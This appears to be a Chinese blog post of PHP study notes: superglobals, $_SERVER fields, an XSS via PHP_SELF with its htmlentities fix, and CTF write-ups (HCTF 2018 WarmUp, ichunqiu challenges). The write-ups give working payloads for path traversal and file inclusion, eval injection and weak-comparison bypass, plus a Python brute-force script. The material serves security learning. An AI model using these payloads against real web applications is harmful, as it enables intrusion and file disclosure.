php特性

1、超级全局变量

超级全局变量在PHP 4.1.0之后被启用, 是PHP系统中自带的变量,在一个脚本的全部作用域中都可用。
$_SERVER[“PHP_SELF”];

PHP中预定义了几个超级全局变量(superglobals) ,这意味着它们在一个脚本的全部作用域中都可用。 你不需要特别说明,就可以在函数及类中使用。

PHP 超级全局变量列表:

1
2
3
4
5
6
7
8
9
1. $GLOBALS
2. $_SERVER
3. $_REQUEST
4. $_POST
5. $_GET
6. $_FILES
7. $_ENV
8. $_COOKIE
9. $_SESSION

2、PHP $_SERVER

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
echo $_SERVER['PHP_SELF'];
echo "<br>";
echo $_SERVER['SERVER_NAME'];
echo "<br>";
echo $_SERVER['HTTP_HOST'];
echo "<br>";
echo $_SERVER['HTTP_REFERER'];
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT'];
echo "<br>";
echo $_SERVER['SCRIPT_NAME'];
?>

3、$_SERVER[’PHP_SELF’]的跨站脚本攻击

$_SERVER[‘PHP_SELF’]是PHP语言中的“服务器端系统变量”,它的值是当前php文件相对于网站根目录的位置地址.
比如当

1
2
3
<?php
echo $_SERVER['PHP_SELF'];
?>

正常访问是这样的

显然这样可以很方便XSS,因为直接echo在页面上,所以只需要在尾部加上/<script>alert("Hello")</script>即可,建议大家先URL加密一次,不过问题不大

当然正常的代码不会直接输出在界面上,但是当开发人员一个表单的在action本页面,则可能会

1
2
3
<form action="<?php echo $_SERVER["PHP_SELF"];?>"method="POST">
.....
</form>

正常访问是这样的

但是 当你在尾部加上

1
/"><script>alert('xss')</script>

则由原来生成的

1
<form action="/demo.php/{{多加入的参数}}" method="POST">

变成了,符号是自己加上去,表示区分

1
<form action="/demo.php/{{"><script>alert('xss')</script>}}" method="POST">

最终

1
<form action="/demo.php/"><script>alert('xss')</script>" method="POST">

成功执行了XSS

3.1、解决办法-> 通过htmlentities($_SERVER[‘PHP_SELF’]);过滤

PS:$_SERVER 变量中的重要元素:

元素/代码 描述
$_SERVER[‘PHP_SELF’] 返回当前执行脚本的文件名。
$_SERVER[‘GATEWAY_INTERFACE’] 返回服务器使用的 CGI 规范的版本。
$_SERVER[‘SERVER_ADDR’] 返回当前运行脚本所在的服务器的 IP 地址。
$_SERVER[‘SERVER_NAME’] 返回当前运行脚本所在的服务器的主机名。
$_SERVER[‘SERVER_SOFTWARE’] 返回服务器标识字符串(比如 Apache/2.2.24)。
$_SERVER[‘SERVER_PROTOCOL’] 返回请求页面时通信协议的名称和版本(例如,“HTTP/1.0”)。
$_SERVER[‘REQUEST_METHOD’] 返回访问页面使用的请求方法(例如 POST)。
$_SERVER[‘REQUEST_TIME’] 返回请求开始时的时间戳(例如 1577687494)。
$_SERVER[‘QUERY_STRING’] 返回查询字符串,如果是通过查询字符串访问此页面。
$_SERVER[‘HTTP_ACCEPT’] 返回来自当前请求的请求头。
$_SERVER[‘HTTP_ACCEPT_CHARSET’] 返回来自当前请求的 Accept_Charset 头( 例如 utf-8,ISO-8859-1)
$_SERVER[‘HTTP_HOST’] 返回来自当前请求的 Host 头。
$_SERVER[‘HTTP_REFERER’] 返回当前页面的完整 URL(不可靠,因为不是所有用户代理都支持)。
$_SERVER[‘HTTPS’] 是否通过安全 HTTP 协议查询脚本。
$_SERVER[‘REMOTE_ADDR’] 返回浏览当前页面的用户的 IP 地址。
$_SERVER[‘REMOTE_HOST’] 返回浏览当前页面的用户的主机名。
$_SERVER[‘REMOTE_PORT’] 返回用户机器上连接到 Web 服务器所使用的端口号。
$_SERVER[‘SCRIPT_FILENAME’] 返回当前执行脚本的绝对路径。
$_SERVER[‘SERVER_ADMIN’] 该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。
$_SERVER[‘SERVER_PORT’] Web 服务器使用的端口。默认值为 “80”。
$_SERVER[‘SERVER_SIGNATURE’] 返回服务器版本和虚拟主机名。
$_SERVER[‘PATH_TRANSLATED’] 当前脚本所在文件系统(非文档根目录)的基本路径。
$_SERVER[‘SCRIPT_NAME’] 返回当前脚本的路径。
$_SERVER[‘SCRIPT_URI’] 返回当前页面的 URI。

PHP中preg_match正则匹配的/u /i /s是什么意思

/u 表示按unicode(utf-8)匹配(主要针对多字节比如汉字)
/i 表示不区分大小写(如果表达式里面有 a, 那么 A 也是匹配对象)
/s 表示将字符串视为单行来匹配

[HCTF 2018]WarmUp

Orz啥都不说了,先膜两张图


上图中能发现两个特性,一个是win10真的金贵,一个就是demo?/../flag.txt能直接包含到flag.txt这是为啥呢

1
原理是demo?/被当作目录,之后上跳目录就好了(这个只适用于linux)

OrZ
然后这个审计的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

利用方法其实有两种,第一种是通过url两次编码的问题然后

1
2
3
4
整体的思路就是第一段不出现?,第二段又要出现?。
所以进行二次urlencode编码, %253f
浏览器会自动解码一次变成%3f,再经过代码的urldecode()变成?。
接下来就是文件包含了-但是感觉和直接读取一样的

paylaod=file=source.php%253f/../../../../ffffllllaaaagggg
方法二就是用上面的那个漏洞,直接读取

1
file=source.php?/../../../../../ffffllllaaaagggg

“百度杯”CTF比赛 2017 二月场爆破-1

描述flag就在某六位变量中。
题目的意思是flag.php中定义了一个flag字符串 我们传递hello如果为那个变量 那个$$a就能把flag丢出来

1
2
3
4
5
6
7
8
9
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

爆破的话贼恶心,所以正确的姿势应该是 hello=GLOBALS,使用超全局变量GLOBALS

1
2
3
http://138c4d7d85c04385b91b779047d5906d0a331ddc3728405a.changame.ichunqiu.com/?hello=GLOBALS
得到
["d3f0f8"]=> string(42) "flag{bfed2cef-1a03-4337-9f55-b00ddbcc5f0a}

“百度杯”CTF比赛 2017 二月场爆破-2

1
2
3
4
5
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

payload

1
http://4139dc5d40184be4bb481b0d09226223d3815a7b2aea4456.changame.ichunqiu.com/?hello=file_get_contents('flag.php')

“百度杯”CTF比赛 2017 二月场爆破-3

题目描述:这个真的是爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}

if($_SESSION['nums']>=10){
echo $flag;
}

show_source(__FILE__);
?>

这样的题目本地调试最好了
其实就是传value要等于$_SESSION['whoami'],而后者每次会变,但是会显示出来
很沙雕的一点是substr(md5($value),5,4)==0,通过前面$value[0].$value[1]我们知道value是字符串数组,数组的md5是null,和0是弱相等的~所以第一次传?value[0]=e&value[1]=a,会返回两个字符 假设是bq 那就 ?value[0]=b&value[1]=q,十次就行,脚本写起来也简单
payload

1
2
3
4
5
6
7
8
9
10
import requests
url='http://9c132b640d22437c940c92547bb4a80f30f6958b40284a36.changame.ichunqiu.com/'
session=requests.Session()
html=session.get(url+'?value[]=ea').text
for i in range(10):
html=session.get(url+'?value[]='+html[0:2],timeout=2).text
if 'flag{.*}' in html:
break
print(html[0:2])
print (html[:50])

img